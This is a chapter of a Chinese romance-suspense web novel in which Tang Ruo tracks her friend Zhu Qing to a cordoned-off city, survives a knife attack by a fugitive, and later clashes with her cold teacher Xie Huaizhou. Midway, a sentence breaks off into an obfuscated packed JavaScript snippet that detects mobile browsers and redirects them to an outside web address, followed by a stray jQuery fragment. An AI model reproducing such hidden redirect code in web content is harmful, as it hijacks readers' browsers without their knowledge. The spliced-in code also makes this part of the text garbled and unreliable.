谢淮舟淡淡地看着她，那眼神并不是带着询问，而是毫无波动的观察。


    好像他在另一个维度，审视着她的情绪，连带着那张清隽的脸都有了不真实感。


    棠若想要反驳，但谢淮舟的视线就像是一盆凉水，瞬间让她的大脑热度下降。


    她“了解”祝擎吗？


    说了解当然了解，毕竟她和祝擎一起长大，他喜欢什么厌恶什么她都知道。


    说了解，她又不了解……毕竟自己最近的记忆力不好，就连对方的生日也是才知道的，她甚至怀疑祝擎最近的异样是因为她忘了什么的缘故。


    但是……她怎么会单单只忘了祝擎的事呢？她的父母，她的舍友，她都记得清清楚楚，只有祝擎……


    想到一个月前和祝擎汇和的那天，那种阴冷的感觉又浮现了上来。


    “我和他认识了二十年，我当然了解他。”


    最后，棠若嘴硬地说，她承诺过会相信祝擎，就不会胡乱猜测。


    谢淮舟垂下眼帘，不再多说：“离开时请把窗户关上，多谢。”


    棠若气冲冲地走，但还是低着头回来轻轻把窗户关上了。


    她管不了那么多了，决定自己一个人去b市。


    b市离a市只有一个小时的路程，她下火车的时候脸是白的，等到了那个街区发现附近都已经戒严了。


    棠若询问路人，一大爷摆了摆手：“警察说这附近有逃犯，还是团伙，所以戒严了。这里很危险，小姑娘赶紧离开吧。”


    她下意识地想到和祝擎那个让她注意安全的约定，但是现在对方不接电话，还曾出现在这么危险的地方，她怎么能放心下。


    她低着头走到拐角，再次给祝擎打电话。刚点亮屏幕，倏然从暗处冲出一个黑影，将她撞倒在地。


    棠若一惊，她闷咳了两声发现撞到她的是一个戴着口罩兜帽、浑身异味的男人。


    她的瞳孔一缩，不动声色地准备爬起来，但那男人看了一眼逐渐靠近这里的警察，瞬间转身向棠若走来。


    在逐渐被遮挡的光线下，棠若看到他的袖口亮出一道白色的反光。


    那是刀。


    棠若心跳如鼓，只得向巷子深处加快脚步，但对方突然冲过来，她下意识地伸手格挡……


    ————


    棠若低着头看手机，她来到拐角刚想给祝擎打电话，倏然脚步一顿。


    那巷子幽深黑暗，看起来和别的巷子没什么特别的，却让她莫名害怕，好像里面藏着什么恐怖的东西一样。


    她下意识地后退两步，看到远处的警察松了一口气，“那个，警官……”


    话音未落，巷子里突然闪出一道白光，一个黑影冲了出来。


    棠若的瞳孔一缩，她慌乱后退，手臂和粗糙的墙面擦到了一起。


    她顾不得疼痛，但那男人不要命了一样冲向她，突然举起手中的刀，就在要挥下来的一瞬间，就像是被按下了暂停键，男人骤然一停。


    他大睁着眼，瞳孔剧烈震颤，就像是有另一股力量在他的脑海中撕扯。


    最后，他缓缓睁开眼，以一种无比平静的眼神看着棠若。然后扔掉匕首，张开双臂以投降的姿势走了出去。


    棠若定定地看着，竟然不寒而栗。


    她被带到警局，警察对她好一通训斥：“那周边都戒严了，你怎么还在附近游荡？要不是这个逃犯精神出了问题，你当场就被绑票了！”


    棠若魂不守舍，那人是精神病吗？怪不得……


    她低着头不敢出声，回神还是忍不住问：“我想找人，你们知道……”


    话音未落，她就听到熟悉的声音。一转头看到她找了半天的人正好端端地站在办公桌后，周围的警察面带笑意：“这次多亏了你才能让主犯落网，听说a城的那个也是你碰上的，小伙子的‘运气’真是绝了。”


    祝擎勾着嘴角，没说话。只是似乎察觉到了什么，瞬间转过了头。


    “你认识那个小姑娘？说是找人，差点找到犯人脸上去，幸亏……”


    话音未落，祝擎就大步走过来，握住棠若的手臂：“你怎么在这里？”


    棠若的手臂很痛，但她没吭声，她只是直勾勾地盯着他。


    祝擎还想再说什么，倏然被击穿了脊梁一样，单膝下跪：“别哭、别哭，我在这里，别怕……”


    棠若没出声，只是眼泪不自觉地落下，几乎迷蒙了她的眼眶，让她看不清楚祝擎的神色。


    但她能感受到对方吐在脸颊上混乱的呼吸，她被祝擎生疏地环住，一瞬间紧张和恐惧都爆发了出来，她揪住祝擎的衣角，将脸埋进他怀里哽咽出声。


    【她真的找过来了？】


    【手臂还带着擦伤，一看就吃了很多苦。】


    【祝擎你看看你干了什么好事，你倒是直接告诉她啊！】


    休息室里，棠若捏着警察给的面包小口吃着，肩膀还因为抽噎时不时地颤抖。


    祝擎坐在对面，眉心压着，眸光深邃不定。


    他也没想到棠若会跟过来，而且如果不是运气好，很可能会被……


    “所以你一直在追逃犯吗？”棠若吸了吸鼻子，问。


    祝擎想说不是追，是自己“碰”到的。但看棠若苍白的脸，还是从嗓子眼里挤出一声沙哑的“嗯”。


    棠若想了想，大大地松了一口气：“太好了，我还真以为你去找祝伯伯了……你没事就好。”


    话音未落，脸颊突然一暖，祝擎带着粗糙和血腥气的手指覆在她的脸上，轻得像是怕碰皱了水面。


    “你怎么不生气，你不气我骗你吗？”


    棠若点头，“怎么不生气，你骗我你刷盘子我还愧疚了好久，但我想到你没被卷进乱七八糟的事就不气了，我怕你有危险，虽然现在的情况比我想象中的更危险……”


    祝擎眸光闪烁，以往能无心地说出好多混话的他此时却一个字都说不出来。


    他意识到，棠若对他的话如此的相信，甚至不顾危险来找他。他随口编造的“二十年”已经深入她的记忆里，以至于他的每句话都对她造成了无法想象的影响。


    “我……抱歉。”他低声说，“我只是不想让你担心，准备结束这件事就不再管的。”


    “如果我不追过来，可能我永远都不会知道……”


    “抱歉……”祝擎又道歉了一次。


    “那好吧……我原谅你一次。”棠若伸出小指：“但你要和我保证，以后真的真的不会再骗我了。”


    祝擎一顿，他看着纤细的小指，像是竖在头上的达摩克利斯之剑。


    身为攻略者，他没有必要许下承诺，毕竟他的出现本就建立在欺骗上，但是看着棠若的眼睛，他缓缓伸出手。


    “好，如果我骗你……就罚你讨厌我一辈子。”


    “瞎说……”


    与此同时，耳边传来冰冷提示声：“好感度，45。”


    回去后棠若仔细复盘整件事，发现祝擎很早就开始骗她了，为了抓逃犯的赏金不惜夜不归宿，她还想到护工阿姨对她说的话，突然恍然。


    祝擎拿到钱后除了帮她交了住院费和买了载她的自行车后，就把剩下的奖金都捐出去了。


    她一时窝心一时又是无奈，祝擎虽然很节省，但对钱并没有那么多的执念，所以这次为什么又以身犯险想要奖金？


    她问祝擎，他只是勾了一下嘴角，“秘密。”


    祝擎这是在耍无赖，说是不会骗她所以直接就不说了。


    从b市回来后，她还没来得及休息，就被方晓欣的怒火吓住了。


    “你留下一条短信就消失了，然后不接电话不回信息，你就不会想到我们有多担心吗？”


    她只告诉方晓欣自己家里有事，让对方帮自己请一天假，然后就一直忙着找祝擎的事，从未想过方晓欣她们会这么担心自己。


    这样看来，她和祝擎有什么不同？


    棠若赶紧道歉，“我、我请你们吃饭。”


    方晓欣拧着眉：“这不是吃饭就能解决的问题，我知不知道外面有多危险？数不清的罪恶藏在各个角落，你不躲着，反而凑上去？”


    棠若拢了一下手臂：“……我只是回一趟家。”


    方晓欣冷笑一声，视线在她的手臂上一转，刚想说什么突然晃了一下头，眼神涣散了一秒。


    棠若看自己都把她气晕了，赶紧让她休息。


    陆秋双递过来一杯水：“棠若，你别在意。昨天一天她都心不在焉、浑浑噩噩的。直到你报平安之前突然回神了一样，说你可能没事，我们这才放下心，今天她的精神就又不好了。”


    棠若更愧疚了，还是黏着方晓欣一天才让她稍稍态度好点。


    周四，是大学生心理健康教育的最后一节，两周的课程却让棠若觉得隔了好久。


    她还记得自己离开之前谢淮舟那个淡漠的眼神，他还当着自己的面说祝擎的坏话，差点就被带跑了……


    幸好她发现祝擎是在做好事，要不然真的会让误会更深。


    好在最后她没有相信他。


    哼，坏老师。


    然而一上课，她才知道自己前几天没有被算旷课，而算是请假……


    棠若纠结了一节课，下课铃一响她就走上前，然而谢淮舟夹着书本悠然走了。


    棠若泄气，算了。反正、反正他之前态度不好，扯平了。


    考完试后，这节课在这学期就算是结束了。只是陆秋双刚惬意地躺下，就瞬间蹦了起来：


    “我的妈呀，我忘了一件十分重要的事……我没选课！”


    “选课？”何炀疑问，“新学期没开始，你选什么课？”


    “不是不是！”陆秋双捂住脸，耳饰被摇得叮当响，“因为心理教育是水课，所以我一开始没当回事，就没在后台选定。等看到新老师来了之后，我只顾着看脸了，完全忘了这件事……”


    棠若：“……”


    何炀：“……”


    方晓欣：“去找老师，不过也许那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650283|172609||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家伙不会通融……”


    这样陆秋双几周的努力全都白费了……此时大群里也此起彼伏地发出哀嚎声，好多同学都忘了选定，其中有忘了的，也有完全不在乎后期被谢淮舟征服的，所有人都只有一个期望，马上找到谢淮舟。


    但是好几个班级没有一个人知道谢淮舟的电话号码，也没人知道他的办公室。眼看成绩就要录入系统，所有人都急了。


    棠若此时内心一动，她知道谢淮舟在哪里。


    等她跑到那个破旧的档案馆，日头已经偏西。


    棠若向里看了看，竟然没人，只有桌上的茶缸里还飘着袅袅热气。


    “谢、谢老师？”


    “什么事？”


    身后传来平淡的声音，棠若被吓了一跳。她瞬间转过身，就看到谢淮舟穿着白色的衬衫站在树影下。


    袖口被他挽起，多了平时没有的随意，炎热的天他的眉眼还是依旧疏离冷落。


    棠若刚想开口，对方却突然垂眸，看了一眼她的手臂。因为跑步外套乱了，露出手臂上的一块纱布。


    是遇到那个逃犯时擦伤的，她皮肤比较薄，伤口好得慢，祝擎一直不让她摘下。


    她下意识地捂住，好像不想让谢淮舟看到自己“冲动”的证据。


    “佛祖割肉喂鹰，耶稣十字架受难，救世主不是那么好当的，既然你已经去了，还藏什么？”


    棠若放下手，反驳：“我不是去当救世主的，我只是去找处于危险中的好朋友。谢老师难道没有好朋友吗？”


    说完，棠若就是一顿。她很少有这么攻击性的时刻，以前对方说什么她都是得过且过，听过就忘。


    但两次都在谢淮舟这里“破了戒”，她不知道谢淮舟为什么对祝擎有那么大的敌意，让她反射性地就戒备起来。


    “对不起，谢老师，我只是想解释，祝擎并不是坏人，他只是去抓……”


    谢淮舟抬起手：“不用解释，每个人都有自己的行为逻辑，让别人强行接受本就是一种对固有思维的挑战。你既然认为他是你最好的朋友，可以继续无私付出。”


    祝擎说话怪里怪气，她已经习惯了。为什么谢淮舟说话更怪？


    谢淮舟推开铁门，棠若下意识地跟上，看到他肩膀还挂着绿叶，本来整洁的衣领也有些褶皱，原来刚才是倚在树下吗？


    她回神，跟着走进去：


    “谢老师，我这次来是为了感谢您没有算我旷课，还有一件事是……我们几个班的同学遇到了问题，想请您帮……咳。”


    还没说完，棠若就咳了一声。


    一进入屋内，视线就昏暗了下来。棠若除了被好多废弃的桌子档案本震惊之外，就被满地的灰尘吓了一跳。


    是的，灰尘。


    除了窗口那一块办公的地方干净整洁之外，其余的地方灰尘厚得像是苔藓。泾渭分明得像是阴阳交界。


    棠若连连咳几声，有些不可思议地看向谢淮舟。他……是怎么在这种地方待下去的？


    也对，他基本不在屋里，在屋里也是在窗口。再一看窗口的茶缸，容器是铁的，但是里面的茶却一眼就能看出来不同来。


    她还以为他是那种十分简朴，又同时非常死板的教书先生呢……


    “有问题可以去找导员。”谢淮舟挥去眼前的浮尘，施施然坐下：“我的职责只负责这一门课。”


    “可是就是这门课出了问题。”棠若咳嗽了两声说，将选课的事说了，“现在只有您能解决。”


    谢淮舟拿出一本书：“既然学校制定了规则，就代表必须遵守。连规则都记不住的人，被淘汰是迟早的事。我没有义务帮他们弥补错误。”


    棠若有些着急，“可是学校也要求老师教书育人，关爱学生……”


    谢淮舟抬眼：“如果他们如此迫切，为什么只有你找我？”


    “……”棠若的声音轻了下去，“因为只有我知道您在这里，我也知道您好像不喜欢被人打扰……如果您不同意，那我的责任就最大……”


    “……”谢淮舟放下书本：“你以为你是电影里的主角，还是转世的救世主，还想救这些人？”


    又说：“小组作业的时候，除了你的舍友，并没有多少人愿意和你组队。我能理解你现在的付出，是一种献祭式的迎合吗？”


    棠若：“……”


    她耳朵发红，觉得自己被谢淮舟看透，又觉得他说得根本不对，但她找不到词语反驳，只能执着地说：


    “您想怎么下定义都可以，我只是做了我觉得正确的事。您说过每个人都有自己的行为逻辑，我的逻辑不会改变，我只希望您能网开一面。”


    谢淮舟收回目光：“不可能。”


    他站起身就想走，棠若下意识地跟上：


    “谢老师，您……”


    话音未落，她倏然觉得自己的心跳快得不正常，像是要从胸口跳出，她想按住胸口，但压抑许久的咳嗽瞬间冲出了喉咙。


    棠若的眼前不由得一黑。